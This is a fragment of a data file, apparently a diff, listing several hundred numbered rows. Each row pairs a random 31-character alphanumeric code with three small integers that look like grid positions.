+12303,R81RSQI0DZJQM5FTFY8C0W9REMYHGGT=,193,1,6 +12304,QU2TM7DC6O5FFCKE64EGVL0AKWD1AYX=,193,1,7 +12305,YQCX52AI90TZCGB2KLP3YMC9UQ7BRE7=,193,2,0 +12306,PMUYCXQ58ULTMBDJOOW1BE7JEGWPUQM=,193,2,1 +12307,EAPZXFFNFD9WL9IL6QDS1V5VTK4PF0D=,193,2,2 +12308,UVXHUL428TTC360UL81U73GXEU457H1=,193,2,3 +12309,MO4BF8D0DJDFPNGEA6J85NWHMTOGHJW=,193,2,4 +12310,AHCLBKKZB9JI5KM6GLY9HUZ4YNGML3I=,193,2,5 +12311,1EBWZ2H8IDHBVCHT5G58DTJ3XLV7NZF=,193,2,6 +12312,9A96Y5PXOKILY8HS664LAP0YHMTJ74V=,193,2,7 +12313,RLR5LXPC3GSL1IMYZBP2KDAQFL7TQ2V=,193,3,0 +12314,9PFQV8BKUH2YG1PV810O5JEY60PJ8ZR=,193,3,1 +12315,M5YP0CF4VW2VU98XPR2NJBG6B9H77T9=,193,3,2 +12316,UTPG0QPKO3O917OZW8GL4LUM99WROX0=,193,3,3 +12317,M60D4T0TFKS9Z09ZV3IDX8D2NSJ3VE7=,193,3,4 +12318,6N79ZZ8LDLR6PTCGA80LWV35ABRHC33=,193,3,5 +12319,CAEOMG21DLY1JGK99L91N6795254PKL=,193,3,6 +12320,E2C5OB4CH4K18IFML08XEM1QJCMUFVB=,193,3,7 +12321,3PMLKY4TS5E4YSC7OR7TY7LNMKMWGTR=,193,4,0 +12322,XGH8BNTFIGS9MJEEYGHOREGXQCZPKRM=,193,4,1 +12323,G49Q0JNHC91ND273MWMFXJTZJ6GE1BD=,193,4,2 +12324,9M6BDCSDBNQ3F2J05RSPFWOWVJHXHJH=,193,4,3 +12325,GF5SPLWRCKOHZ5UAK4CN3FMUMEQFWLE=,193,4,4 +12326,THD95GJP0OIW137RRKSA6L6FXPSYXDT=,193,4,5 +12327,JZMJOBAT4YQQ218XOGI8ZFQZ4B6VPZL=,193,4,6 +12328,EN3H7TSB22XKEUF31OKPX1ODTLXZTUY=,193,4,7 +12329,5FA7MFWRZEJKDRXHWXPIA8ZMD0B2ZN2=,193,5,0 +12330,0MWFAQZ2UE1L4FGC0SMX6VVIOCXOJDB=,193,5,1 +12331,HPF1OJSEPUNVXHX07MX51QT98GZKO6Z=,193,5,2 +12332,2RO3VWXEGUHDPBQ4LX7HGPG4UMRTNEW=,193,5,3 +12333,0NTAATT59GIP0V8EGMTIC2N2VD7PPLI=,193,5,4 +12334,0LW5CSD4XP1YX538KQ0XASBXXQCXKAO=,193,5,5 +12335,9H78MRERXQFX1UTW4DF3B6DXR4O16E5=,193,5,6 +12336,SV2736H8Z94O5PLR88GMTD2Y3RULRA2=,193,5,7 +12337,QCRS9777SJI0RT891TRB3G2GYUAKDYP=,193,6,0 +12338,B0PHOO4A6QQHQX4I4TAUCLZCKEHGB1M=,193,6,1 +12339,C2PSHDIDHGF3ASTBXN3ZDKQTQZY2VZH=,193,6,2 +12340,63CIP8EVOBSVNWFH9QDWEZNOCNGNG1S=,193,6,3 +12341,KH4Y32ZNT5QJFG335XI94G8NJUW374J=,193,6,4 +12342,LR4M7VZMLYRP3R58CA85XEHP8WD696U=,193,6,5 +12343,A2S3YUK7VBCV5D85AEX38HCAEWJCH7I=,193,6,6 +12344,9HE5SKBEYYWEF9NRQ8WEYJFQ7JAZ35X=,193,6,7 +12345,MLC0UGP8GS973PQ7YB0FJWVDRX939OS=,193,7,0 +12346,5HF4S9A65GVMK7ATROHVP9CZB04N5XG=,193,7,1 +12347,SF0B13PIUAOVI6RC5T9M0JPBYQOL6K5=,193,7,2 +12348,YNVNGAUU3EHJLANJ9BLJE40Q2AS6EI8=,193,7,3 +12349,YHTPBVQZ92PBQSF2HN894TROEVJ53NW=,193,7,4 +12350,JZJ4KV3BX9IGH844VMLVKOTKCI6P8Z9=,193,7,5 +12351,5PVOKGL06ET5TSJ7GX1RLNSWOSI0TIX=,193,7,6 +12352,A565DFDESUDM24O45XJF5649QHKCEAK=,193,7,7 +12353,SUF8VM7S56T2STHLZTP19GT1QNVYWBL=,194,0,0 +12354,89ZG4Q25NMDU9UEO70IDGV1VL1M4YB3=,194,0,1 +12355,WVQO1GA07UUVXI841D2T5U0M6YVXRJO=,194,0,2 +12356,KHBFDU61PSWU4V6N8GGJBPQRSPWIM51=,194,0,3 +12357,1PUTQGZ0CRJSJUMFBINDDM007QIVPI2=,194,0,4 +12358,GR0BD0EL47VFMOS2F4NZMO9VXBFN1VD=,194,0,5 +12359,HZ88FARPMSFM5V7E7D0UHY52CEG9046=,194,0,6 +12360,C5L7CMXTOTZQ6K090MX0B1TVIAPCA9Q=,194,0,7 +12361,9C0ALZHKAFD9TJAEKICJWOFRHNLIA69=,194,1,0 +12362,8WFLS9M9Z1BXYAXX0Z2NRT970FMHMOR=,194,1,1 +12363,41MENC8MXCYT4Q8WH37TZ38TKWMM9PK=,194,1,2 +12364,5AL46GB7EJOQRD4T8C4TV0G42PZLPSQ=,194,1,3 +12365,7RWGLYITR04MQ8IMH7C2S95BR14J4L2=,194,1,4 +12366,IHIU78VAVBLJEEF3A09JZNCIPW8FDHZ=,194,1,5 +12367,WV3ODS32XW31DNUOT0G0YWQNFVPKRZK=,194,1,6 +12368,8EAPGO4B5ULM7UKXR5MOOK3C2TM3THX=,194,1,7 +12369,FX44PFYQL8TYZB8538GRBRIVRU1YVSA=,194,2,0 +12370,2GR3DF1A8ODW37ADZJ9RHT52EMW5FRO=,194,2,1 +12371,OM84WLW3PF5IGJQGZE0OE1BWVDCJFN5=,194,2,2 +12372,20YIOVCVBOB78K2WV02V7UHAH9YLMOX=,194,2,3 +12373,4GCQ0YYFFRARCZOFOHKN0GVNILK3OL0=,194,2,4 +12374,9C8IM06GLD14EI0O2KCK6TGQKXRDJWA=,194,2,5 +12375,SKJ0GNT75YGQ3ZRXOFSMXYBZFMIGJGR=,194,2,6 +12376,H0QYWCAXUXQCR5CG6OKJXHLKV4K5HDV=,194,2,7 +12377,HOWXS0QR16AG5EEXPTCAWMJMU38DXHZ=,194,3,0 +12378,GKUB6QTD4UDUJVWDAYP3DP389H752RB=,194,3,1 +12379,T8PPK7HMU1TS0NX201W0BJYDASALIAY=,194,3,2 +12380,SKT0JI5HO42X947J4971TA4TWQ9881L=,194,3,3 +12381,TUWOMYRR4AKDI0ONJP3X88STBMRIXUO=,194,3,4 +12382,ABL40IUZ3BJDVT1JB4Q4AXFGBGHP5SZ=,194,3,5 +12383,5STBY3CN2EGV1QS1GR852NSH4Z4TIJD=,194,3,6 +12384,KQKF3M6R75V1024LNBD28CKX642W36Q=,194,3,7 +12385,ROLCKP2RZ0AKPP4JMXYY446NUGTCJ7M=,194,4,0 +12386,HC1YYE2XQD8T5Y5VRVIX41KZWAW1S0L=,194,4,1 +12387,M6ANWT9UZ25S8LWYMJ8XX0CYJH54RYC=,194,4,2 +12388,3KEURG6K7R3OQ8I9MLQ1LM9BM9W2SY8=,194,4,3 +12389,HZAD1FIMSSL1D6N0438O7PNL767YF2G=,194,4,4 +12390,C0FT1VW4GUU73KFILGSKVCLI1VEA2FX=,194,4,5 +12391,JXN1LJYRKZRA1X7YW7T1DJ2BBG74OY0=,194,4,6 +12392,CQQKLSZR9OVCLBQARJUEAYYXCBFXSO7=,194,4,7 +12393,KTVRW40RRFDZI5QRXMQCBXFPQFPUD9L=,194,5,0 +12394,23K0WGMFI5DW6UQY5GJRJR4ZBFMQW7L=,194,5,1 +12395,F9CZZYVCTQR6BU4YLCWQJMYI7MWDKL3=,194,5,2 +12396,LZEGSFPPUL2BB5JYKJP124TG9Q6AE2K=,194,5,3 +12397,6H3JR1YO69GATHZSZWN3YDDJAZ0MR5V=,194,5,4 +12398,R9567NUDIDSER3XHKJM8WCB6Q5L7WRP=,194,5,5 +12399,6D7XXYA41XN0JQDYSDN2SMMK7UTCEEK=,194,5,6 +12400,E2WD168G3REMFSXMN0EF8JP73IBFLDZ=,194,5,7 +12401,D1B19IS1DF4TAUEIGHD5OD8DYP74N6W=,194,6,0 +12402,V82VXRYY9WCBV7GYS9ZXK3DRYZHGOZN=,194,6,1 +12403,1BWGWIT23WVFZMYG6WY5IM14MZRKOGA=,194,6,2 +12404,G6AH7YLMX76TBWHNIVLGTOJQ1J6FR3R=,194,6,3 +12405,KKT3YC2WPHAKGJPN9FCXE3VSCDPW7QC=,194,6,4 +12406,CUWBSCKY0ATGULVR2DO3MUSUQDB9IGE=,194,6,5 +12407,K360GNJWCRQLO432TZPY1QVR4UNQC64=,194,6,6 +12408,DJN9SS0ZLKIVF4H0R51H9I1C1EZHWSB=,194,6,7 +12409,S355KQQWJ5OJWKDRJ5MGFWUX98MOMHX=,194,7,0 +12410,IRMYEMKPO3JKJUMWXJKO0JELCGB79N2=,194,7,1 +12411,UX58KN766JVD8NOD8I57CRMSY09FVQ3=,194,7,2 +12412,MGJLO6HWL1U8N7G9SWFSYG4ZT1ZSQQE=,194,7,3 +12413,43VI30FOQQK59J44DFK98KVXT9T58GY=,194,7,4 +12414,OS02HHRKCT9N1CQKD6V0TCIR23VMJ1F=,194,7,5 +12415,KCAYQAKKSF2VQ11A1OY61OK3LHJ8KVG=,194,7,6 +12416,I47LB56K1U5YUFJ2BXGUEWHJ4N1P9U8=,194,7,7 +12417,6OXJFI1FFZX7TUQYRH4EW0MQHD323A7=,195,0,0 +12418,CRZAR5URA1VKINKRNKLDF4HDFYNYCLY=,195,0,1 +12419,KMPV3TPS1RPAGFLA561V0C7DHPLP01S=,195,0,2 +12420,25XCTFUYUW9Z8TLS00UZ1KHD8AM0ILQ=,195,0,3 +12421,TYIWJ6JVGP4SOZ1LMURS1TBK5SEPNFG=,195,0,4 +12422,BFZH9R8GADFZ01OK6DP0DUJPFRSPSO4=,195,0,5 +12423,38VSGXAG4UV7OZRA9DE3JYBHTPWN1OL=,195,0,6 +12424,9PRLVHPTBXA0MHHG5GN245HWA6XGCSG=,195,0,7 +12425,YWTH8W9U3GF7WS42TR3BF7IJ76Z1DGT=,195,1,0 +12426,GPNJTH6VQA7C7135AJJ3XY7A5J4FTEF=,195,1,1 +12427,274S2CSLIW4SMQMUMZ9MUQTOTSBCLLY=,195,1,2 +12428,RYNS47HXGODRIRL94Z1KKP3I9V0OK2C=,195,1,3 +12429,CO342CP92PWZ9A6WSXSNB5ACGTZH3F5=,195,1,4 +12430,9GBFB278ALXP7RHUPJ3KE63TAXWVH06=,195,1,5 +12431,Q61OQP5LWGQB1KQ0DNLB4A979WCCL1E=,195,1,6 +12432,3613OM4W0HKQV8AACYCI3GYO6CGMVUJ=,195,1,7 +12433,OSA9LQ5DRVTNLURWQ3Y5AJ64M6DR926=,195,2,0 +12434,LXNCSCJ89X6PZVRMT0W7F2KUDDF2ZHF=,195,2,1 +12435,63SVGNKHLOD2YWNTR0SGJIH0FSLF3TH=,195,2,2 +12436,X0LG4YYFIH05UZ05XLJS9YA44XVD6SS=,195,2,3 +12437,CYHYAD4OXCE8C77JYMYI15B0OQYIUF5=,195,2,4 +12438,K6R2QS8WC86YZHOR1VL3ZXRUW61C1P1=,195,2,5 +12439,UP3D7D6Q97LOEHBXOW6VJ0A0J0BUJLT=,195,2,6 +12440,ZF0K7FOTWE66B8LUO6HMJPI7M6U83V7=,195,2,7 +12441,Q0ASSDYJEEEKK9OAIRY9JKRCJQ3045G=,195,3,0 +12442,3MWQZ6H0T6VXLCSN6I74VS4JBM5U9OI=,195,3,1 +12443,X8CF9T4YRVWSTVELV32C2ACFAUETFFN=,195,3,2 +12444,GFULWZR7O22DQZQEP07YP8M0MW2EZPJ=,195,3,3 +12445,EPJEDWZOOWGDY6L0KREHGPHSFJW9H0D=,195,3,4 +12446,GIIBM7CNMOBVNIKPKH90YNRD4H3WRYK=,195,3,5 +12447,CO0BLTUNOGGTVHKPUI2120J5FOGIQHL=,195,3,6 +12448,4D9YDFELTAOFPKDU9TCDWMVAJ15QG96=,195,3,7 +12449,VUK92VKGHILMLKIO6RHDI9FTURM3OJQ=,195,4,0 +12450,WILLBY3BLE5F6PS57JCHNZGTCJ52LZQ=,195,4,1 +12451,8EJEKDBH8W0G7BD6Q79RFH20U67SHR2=,195,4,2 +12452,4V3TO95HH5JVHLPWF2LQPLUFPI2P7TT=,195,4,3 +12453,OO3JY3A5SBIF23AJVAVNTIY8E48ZYWB=,195,4,4 +12454,NEC57OHTO4ZXACH1O88SO3BOAPFUCYI=,195,4,5 +12455,EW8HZUL7TF17VGR8K50LBN8L6LKXTIM=,195,4,6 +12456,9AQ8KBSMNCTT6RZU05GJRX0YFYM8IWW=,195,4,7 +12457,B0Z5STTJQ7BFGJXOCRJNIDYFY9Q1CXK=,195,5,0 +12458,8RG6PL8MZXCSJTBKD39HCGBXZVL9AH4=,195,5,1 +12459,6JRK8THB3V8QD8KUREE8UMZJHIZE3KA=,195,5,2 +12460,TL1U7O4D8EIYW3LA5KNLP9UETZTPZNE=,195,5,3 +12461,02YPCR4WDLHTTAOJCBTEXA6Z7GDSWSU=,195,5,4 +12462,INTN8AV4UYJCC8CMIMC6JBWVTFEI89I=,195,5,5 +12463,G8V5XHH9HGYL4I43BNW6WK693Q98LB0=,195,5,6 +12464,8EEV5HYPDNTK6Y798TOYGY8P67U3D0J=,195,5,7 +12465,Y82ENJ81XSM9ZS7HJTU8LM9KHGUGM65=,195,6,0 +12466,60UJ7KGXI6LQKDFIJO2WE0LZ6U3L28W=,195,6,1 +12467,KM4N4HEW8ARX6A6PRQ1VRW154AGBWDQ=,195,6,2 +12468,GQ1E59SZ3HA4EUFT6FSDR1SJPJQ64MY=,195,6,3 +12469,3N96PFWU728FWOLF4UJHJOKQWGY86RS=,195,6,4 +12470,63HAC3JNBATUPT9B941TZPZLK1KHWXD=,195,6,5 +12471,WDBSJQ6WHW9LJD7A2HACUR9ELMPZ572=,195,6,6 +12472,06UFMF4YUCMTT4G7YC0C3LUC4RLMOMP=,195,6,7 +12473,QOB4YNDZRUY6CE4KXJ7ES0IFWD7EQAF=,195,7,0 +12474,VBZHKAORFB631QZJG3CP1Q1G3UROTZG=,195,7,1 +12475,8I0Y4PVLL0RQ109IZY043ZHA8YHAPT8=,195,7,2 +12476,SDUJHGEJGYMTEMM15ZVFBCATT0LLRMW=,195,7,3 +12477,LIEZUYXFN4UNM2JPBJFF9IHCBAP5YIZ=,195,7,4 +12478,1LSOIT3BWI2O00FMMVF3LPDQPHDCI7B=,195,7,5 +12479,YEM3ATZGG2BYBQ8TOVCDMYC8CSDAPY3=,195,7,6 +12480,X07M3VYJT9E9N31YC6FBDHZE0PP2SQQ=,195,7,7 +12481,7NPRAXUVLWI2YA2WREEB8URJ7AF7G8S=,196,0,0 +12482,DSHR6W2JLM10GP9LQUPUC5ZW998G2SP=,196,0,1 +12483,0RK25KEDG65Q1ORJWS2352DBG9Y5ZV9=,196,0,2 +12484,83ZVWK8IHTC4XIQ4CHA7Y4ATQOSRXOH=,196,0,3 +12485,9HSAEJSPLLWZ6EFFUW26A7NGS23EBYP=,196,0,4 +12486,U02BOLFDZBOCTGEWD6ZJ7BFA37F0UMX=,196,0,5 +12487,U5J00Y4OYF3UT1EG8G3B1L4OVMEBA0Z=,196,0,6 +12488,193F4QLJ2T5ELM659KWHVLC2F5P0NA8=,196,0,7 +12489,NPVHCFUKN9ZPS6WYYBJ3E4X72L7ZH7N=,196,1,0 +12490,G7NWFEKFZUIL7S1PLLL97A07JIO7RJD=,196,1,1 +12491,KGKTRY3Q6JWVOT4XF6ZF3REBM4QA3KN=,196,1,2 +12492,ZH3WX9HX3T7VZSNKWE8TDUJABV333HB=,196,1,3 +12493,LSYYALW658EYBEJ4C0KKULIEUWHU8RY=,196,1,4 +12494,17GSFLC8SKRPWDHFL0UH7C8Z0KDGWP2=,196,1,5 +12495,G8FDQPLXISBXOKA8HQDICTQ56WNGOE9=,196,1,6 +12496,HSN59JPWC7KX3569RLVE5FAXFC4QPKF=,196,1,7 +12497,CNSPG10I2JMAGD6ISPDWK9SJQV8TCFQ=,196,2,0 +12498,Q6ZWN8IGBZN0MRUNAS9LZ5IVVM0BZ63=,196,2,1 +12499,HABWQK4MWMVNKO7D9H8DSQ9XB19VQRQ=,196,2,2 +12500,NJ4AGBV5DET6E8C6T444SQTQXKKA19E=,196,2,3 +12501,MKTUGC70IKYBGTLDDTTEG64TNAG2UL4=,196,2,4 +12502,PJKBEYYCJNWO6YQ7S9GUOTM4MQXA9MH=,196,2,5 +12503,8QQ3EKSRHDCMCP6D3HHNAV4ZINS2FZV=,196,2,6 +12504,1R3P7U3R376EN6RD4VU971UPXFYC0CG=,196,2,7 +12505,424JXAU2FBVCAH1BXWDCBYJ9YBVALYT=,196,3,0 +12506,BNOV10ILW8DIZEQUCH7RA2VHAP3NEX2=,196,3,1 +12507,V8TQQEJ0GTOOMW34RWJBEE1RAF1OKW7=,196,3,2 +12508,QERF2J7OGCMZ5BST7AYY3VP4PE2J5LJ=,196,3,3 +12509,PSVV5E2U865GZZYGI0NAUDNUYKRTGJ8=,196,3,4 +12510,AHTKCFXD27LH7UV6S065SXSGSF7FKU6=,196,3,5 +12511,4UJJQ5FAY8MM8GWT6B5QK61IJUB6SAJ=,196,3,6 +12512,1HBKZGR1NEENA4BYDIR532AGIYXLT4W=,196,3,7 +12513,PSNTQ7MBZDI4B42N7TZGFP16J1XQS74=,196,4,0 +12514,FS8MYLQ5AWJYHUD0E28NX9D5BGWQ8HO=,196,4,1 +12515,DZWCPNF9RI536A7TYE8IMCANTO5VSF1=,196,4,2 +12516,RYT21H517MZS7CB70GIZH5FKCRT7P3K=,196,4,3 +12517,2M4ZBTDMFSDX3KHNUCZ9BTIOYX07PW0=,196,4,4 +12518,8DKS0UT3JT3W17MVQLYDJ3Y0XS6MXPH=,196,4,5 +12519,DHWK82P4S0TEH9TXUWKTBNIMFPXQQU3=,196,4,6 +12520,M07ACGZ1NB2EWPKK94MZLCO9D2C4BVF=,196,4,7 +12521,EI42UEZDY07F6U282EVZ43HPQRTJGVX=,196,5,0 +12522,WY9ONC0TA0NBSF275LK0QAZ9SWR3VV3=,196,5,1 +12523,6XYGV1S1FEWGIRFOFWPDSRGUPDTY5NL=,196,5,2 +12524,3KDWKBOO2CTHFYQZ81QTBDMYU8MY7UI=,196,5,3 +12525,IW64CNH1PDY1ZJ9M6MGRAIU0MRQVVMZ=,196,5,4 +12526,B9RR0S85HVJ843TI31E0EBB5OD5IR0C=,196,5,5 +12527,EKA51N9Z42OV4IINCM0123UULNXH5LE=,196,5,6 +12528,B67TDBRC34JM6L3YMQKPERFRVDF4GAM=,196,5,7 +12529,CRB2XXLS43YKIELADY78GBPSMARBZ9T=,196,6,0 +12557,Y89N0NA8V7ES3VBGSZDDBQ4OBMBGSBB=,197,1,4 +12531,CBQAO9N2S93TSDJBEAF9NNZ7AMGTFV4=,196,6,2 +12532,C34NLCFG2Y2LXIMHJ1QOMJ32WVS1TBI=,196,6,3 +12533,H2OEIMK2EEGG5E79ZQ2BIBS2XSQ83B4=,196,6,4 +12534,MKFRYVVJETT5POD4RNLI9605OWF9IAR=,196,6,5 +12535,8UO2C8Q5YL68X3GQK58QSMM9ZTO9PTI=,196,6,6 +12536,FY9BEKXM1CAZIN00AB97BZ01YQZHDK2=,196,6,7 +12537,1N30VCU0Q8PO9X0ZQ2SMFW8LXX6WXL8=,196,7,0 +12538,QP0AARZ6GR6LXGJ033LDNAOV2OIJG1W=,196,7,1 +12539,BLPF6OF7GJDBXFME4VUWWMZVUFN6EBV=,196,7,2 +12540,NH78PE7YNLONS9Q9FWKSZDYSCC9WYY8=,196,7,3 +12541,KRGBABUTY3HRBH6ZCLFC7BFW0D4REXV=,196,7,4 +12542,W5PYUA9J171LCLITRRK8CHFG6WTLFAI=,196,7,5 +12543,DIZ4H62QOHN23H2R6849D6ZTG2RQ51C=,196,7,6 +12544,6RWRTODBBQO2H4XRZUWD1ZF63MU6VKB=,196,7,7 +12558,PEDVROK4SO2M3JXLDUJZ1O4JH54KRUO=,197,1,5 +12560,4A7A9T2RJR1EXYBB98IGZ36Y6O9M19K=,197,1,7 +12561,S089KSV7ZOC6W74X2RBXMIFTZ2A2OK8=,197,2,0 +12562,SIEES4CFX0U5J6BYNL0QWYTLE1S0AGM=,197,2,1 +12563,S4HWN0C4KBZDFI1I6QVEG44UVIOE2B4=,197,2,2 +12564,SZ6E1D2W3AO90JMINNAA9HYXQCPNE5S=,197,2,3 +12565,H16QKTHPD2HEIQQ8RVRWSG5DP0XLHYC=,197,2,4 +12566,F5C9KXO0TLZ7NDG1T815HE41N7JTCS8=,197,2,5 +12567,PM9XQAZNM6786VYLBGMWIYZS4A92DJJ=,197,2,6 +12568,4UFVQCI77LB1L5ECSAN8QK2KCECKH9F=,197,2,7 +12569,LB2N75JPC3DLBQVINS7HF5DW857A0QO=,197,3,0 +12570,DUXIEJWTA2R9B8MTNDIUIDLWU2LVLU7=,197,3,1 +12571,VQO65XOE8TBM6RBQ2J4DRSS59H60T9R=,197,3,2 +12572,II30RVQO6H8QX08GZA1DJKN96PNYB5N=,197,3,3 +12573,JBLZOIU97ML5YXDTAXSKS6DJ37T96JQ=,197,3,4 +12574,J0C0DLWWA3L6AMSMOPNE2UZ4K450BMJ=,197,3,5 +12575,5IRCD8953MC8344PLDS9YIMJNYDMQT6=,197,3,6 +12576,K7XN5Z8B4P7VXBC0KVY5S7S5YKDZ9EL=,197,3,7 +12577,USQEW1L4BO8UQNCOZIHSV7FV698AO5W=,197,4,0 +12578,T0DOZDE9TLVT1XB2QBU3NMQ0AXSC9A7=,197,4,1 +12579,SA4MNP9HQP682I9LRK01JR2476L6WB2=,197,4,2 +12580,2C5DHPC2OZL34VDTW3OGPUY5ES3XULY=,197,4,3 +12581,HK7DJS6JVD1IK1NXFTEG80LRZGAN3DE=,197,4,4 +12582,BAO1WQOS1YB2EK2NJ2Y0MXC4WDHRLPG=,197,4,5 +12583,BAR5AZDKGEF4KP5E20YGGU1RZR3DN5T=,197,4,6 +12584,HUHYM0561FNBEHBGPEW2B3QTP76RDMF=,197,4,7 +12585,UWEV77GQ2W9IB8TBBJ8BP7ENRV0B5M2=,197,5,0 +12586,RMFX58SEPF6LZ7SSPAVI0SNK8CKEUFL=,197,5,1 +12587,4W5X31IPEENLMBZARPUIVZ6CMUXMB5U=,197,5,2 +12588,I2MXE6E78VEG3VPUGV3WXK6O3PYU8KA=,197,5,3 +12589,O4CDED2CME82VPR9MMNA23961CE0RBI=,197,5,4 +12590,0EGCUF3L4G2S7O1T4DQ9FJ48UD1GR5I=,197,5,5 +12591,W29VYKS2P4LH4XKONEMD6M4B1OJ41X9=,197,5,6 +12592,06ZQ6Y5YEE9N3S3QPQ83IZX9NT9GN5M=,197,5,7 +12593,87RZQY07CAQJUNOGMCB278JNT1YGMT0=,197,6,0 +12594,2ECK81NK9OCNTV0GNZTA9DUFUK6KA8P=,197,6,1 +12595,KAW27IFK93WUXB9SH58XQY1DDO92Q1E=,197,6,2 +12596,GDPM6MPBKEOMSWONXKCQSDI5Y0RKMEE=,197,6,3 +12597,YVF71L7LPX9OYYM0PE5O9J1WYZKJGXC=,197,6,4 +12598,MKIW904SKTBYUTFATLT34U2HQ85N8DF=,197,6,5 +12599,Z5R2RRE6XM51PS27AR8EG67RHT3PUV2=,197,6,6 +12600,4EUXOE02X5Q2IEE3Z10OXT1J09YHYP4=,197,6,7 +12601,J04HO35HEPDNPGFZJD2RF51COW5759D=,197,7,0 +12602,XZUFTSXYXP7MD9150AN7SV6E38EBE5N=,197,7,1 +12603,LARBHHT3KXIFPHWKP4WMDOSFE8BVTX9=,197,7,2 +12604,TKUBZHQPYAWZA5UT4N7P4ML8SMBKCSB=,197,7,3 +12605,E7PT6Y9MI0ZN2FME5KHLU4NIOGT9UWP=,197,7,4 +12606,WON6ABKVW0LCGD2I1WDI9LN0RZ4ALTD=,197,7,5 +12607,NICUAP3MKGF3CRSFMQTIMGYWEDKMHTW=,197,7,6 +12608,3XZJOF3JWJY6IT4BAM4KW40GAZY9PUK=,197,7,7 +12609,M6C9B6OZPICH1EQZFSTKXIJHSXUSVE2=,198,0,0 +12610,UCVIAH7ZU2IYR397EHKQ7Q0RP8NMT3G=,198,0,1 +12611,DFCGQT68P1VJAXKGS6STFKNGV423LHH=,198,0,2 +12612,JGN65EG61PV1BV133YPV98RXDW93VF1=,198,0,3 +12613,TW5WCS49WQ54N8OO645V7QYVM0YE54G=,198,0,4 +12614,XFL9A6UG98L5XXFTF7XK08O1IJU7MVS=,198,0,5 +12615,YD44NDJ99FUNPHBP05E6X23UUKKIMP0=,198,0,6 +12616,QUS5GQ93HXUDIYYPE4Y2B4J5FC3YGY0=,198,0,7 +12617,RNUTIA5KWVRR34UT6HHMEXQVTSCFT4L=,198,1,0 +12618,LSBGSHODTLV2CEP8DCQW8ZBBNJPAI9K=,198,1,1 +12619,J80T9MZQI8ECDGJU2KNO61WJHH0T56R=,198,1,2 +12620,71UGEK1U6SFWIVQO47AJ43CMQNWKTX9=,198,1,3 +12621,3LIY13VUSVQW9HWHDGALSQXFEYKE9XB=,198,1,4 +12624,45YAH6VUO8QLE3P7O5TQ7WABS9TRIS0=,198,1,7 +12625,GWEF1G3D3I09KNADM5XMML76UXB6MVR=,198,2,0 +12626,338BMVP0YLPS1VTH08HKF42SERRL7RA=,198,2,1 +12627,21S1MD62CRJAFCSFIX55K6YEFAJHKQM=,198,2,2 +12628,N8ES9QJVLGCLX7CXFOFTCEJE668BH7P=,198,2,3 +12629,I3DPT71KJ8FHYE4FOJUNQS7GTZWZCD0=,198,2,4 +12630,LTZQCCB3KFAGUF5MWNROG9VK2N2NNAO=,198,2,5 +12631,EOAB386XBKM1NR7L5JYLLJZWIN144F3=,198,2,6 +12632,EZMKBF5QUKOPNYM2PI18MXJ7R7I5CIF=,198,2,7 +12633,IZJ4ZI4BH5TU7YLDWAYIJ3GSHVXRIPB=,198,3,0 +12634,RZG25VV5MFPKHVM3A23VWWWZ11ICLAY=,198,3,1 +12635,DFYYJYK21WDT3W3V4VCQV8MYKSJXV8K=,198,3,2 +12636,RJT0GHMMUQZ240F1QMPWO7PKOS8TS34=,198,3,3 +12637,I5MXDCCSZAX49KIIT3DCES77GG8XADM=,198,3,4 +12638,D4BL7VU8F4ZV6Y6BSLKSFVQ4DIX1PJS=,198,3,5 +12639,SGK2VIOCKI9YCOYMC1MSZ1REJ3BHTB0=,198,3,6 +12640,4SH3EA9AO7G2B113XRFQASXSWH9LXUL=,198,3,7 +12641,7GX01M39UMF3EKS5CG5UD6ZKJPZUFLZ=,198,4,0 +12642,55HH2V1P5L3CDY3SZWE1RFRD76XACUC=,198,4,1 +12643,XJK77L54ASG40QYYSP17HXF57BLFFCN=,198,4,2 +12644,0CCFYRZI7TDBWAN1U68TR34WYNKBIVN=,198,4,3 +12645,K3X1NXLN1JPN9HGHSSJ7CG1KESJB5UV=,198,4,4 +12646,9YZMBY0EPLT0DA0KHE9V01VJ3IGXXQG=,198,4,5 +12647,K2WDCGGPE8CHBVZU6XO1E9ODCI267X7=,198,4,6 +12648,4EQY2J37AQFF2Z6IJWG87KFNUT8BGB8=,198,4,7 +12649,SO9LGJVRUMZ2MAFWTQPICX7US6XQUF0=,198,5,0 +12650,2WUTUGIYH5M3CRE0ZKZHVQJWSPKMWEW=,198,5,1 +12651,PT8E92R6MQV1F70N3ABTZCFXW9ICFV0=,198,5,2 +12652,0YOTRJ9PJWYUZCXZTHPXIG416ROYYYF=,198,5,3 +12653,O47AI84Y13GTR1LQXFEDLDVGXC2MGAZ=,198,5,4 +12654,WSKS3JJOYWLV69FELWCUGNOQJ9Y5UA4=,198,5,5 +12655,GMZFFQHLZW9L0CLO2U7TCRA1PDYTA6D=,198,5,6 +12656,QJ8TZWOAZJY9XO0O18LJAUR5HV3EE8I=,198,5,7 +12657,9KA1RRH18LINGJBGI6043K4PFK5R0VZ=,198,6,0 +12658,CTF2FM8U25RT0HPJ46U2WTKO2TBY2EL=,198,6,1 +12659,2P86PFBHR7JGRBSQYN1XCN82SMPLEUA=,198,6,2 +12660,RBK1LCP5V6MX7NN4ZN09PNES2KYH0SX=,198,6,3 +12661,M9W1ID5RN89VNIU3ACZ85R7A5JMRPUU=,198,6,4 +12662,TOIZZNSJCJ4562RG22YPQ29QLKKYXS6=,198,6,5 +12663,VK5J9VQ737ZKW8KO7IZXU09VT7HPL9M=,198,6,6 +12664,WPG96VARZ7ZPLAD4FYPELV97GXCSEMM=,198,6,7 +12665,Q59R9ZCA3PHPLAYFCJ0BDELK3P2QA0B=,198,7,0 +12666,8ESGXIUGWYSGGTRQ28HKIEFHUJZGY2P=,198,7,1 +12667,5P08KO745EEOVXOICDCJE414VZNRP5G=,198,7,2 +12668,86C2XKIPD44JICE39BEF08FNI44L3S3=,198,7,3 +12669,VKA83FU6KRUWZ3RR6E9APOM9YLEBHDI=,198,7,4 +12670,62L882B7SXYA3DHSJVI8S6MRTOHINCZ=,198,7,5 +12671,C3JR6JYU4EVKRQ6A11BR8YR6L3GIWCL=,198,7,6 +12672,SOAX8FYDW1XANPHA69YQUQRD9NUW8QV=,198,7,7 +12673,G37T20BFD64U87M7LD1TDIGW7KHIM47=,199,0,0 +12674,53IH871GGJBN8W5G8Z4YA549BF7DIIF=,199,0,1 +12675,EEOYXUSS5V2GEQBPN13RQHW1TFFWAH8=,199,0,2 +12676,3EZTAF7FNFQURGPXCJHB88IQWCF15Z9=,199,0,3 +12677,CYINLCH31C6GB92J1W4I9U74HZ0749E=,199,0,4 +12678,7GVA48BXLPMBAZXWH0SERC76WW6DZ6Y=,199,0,5 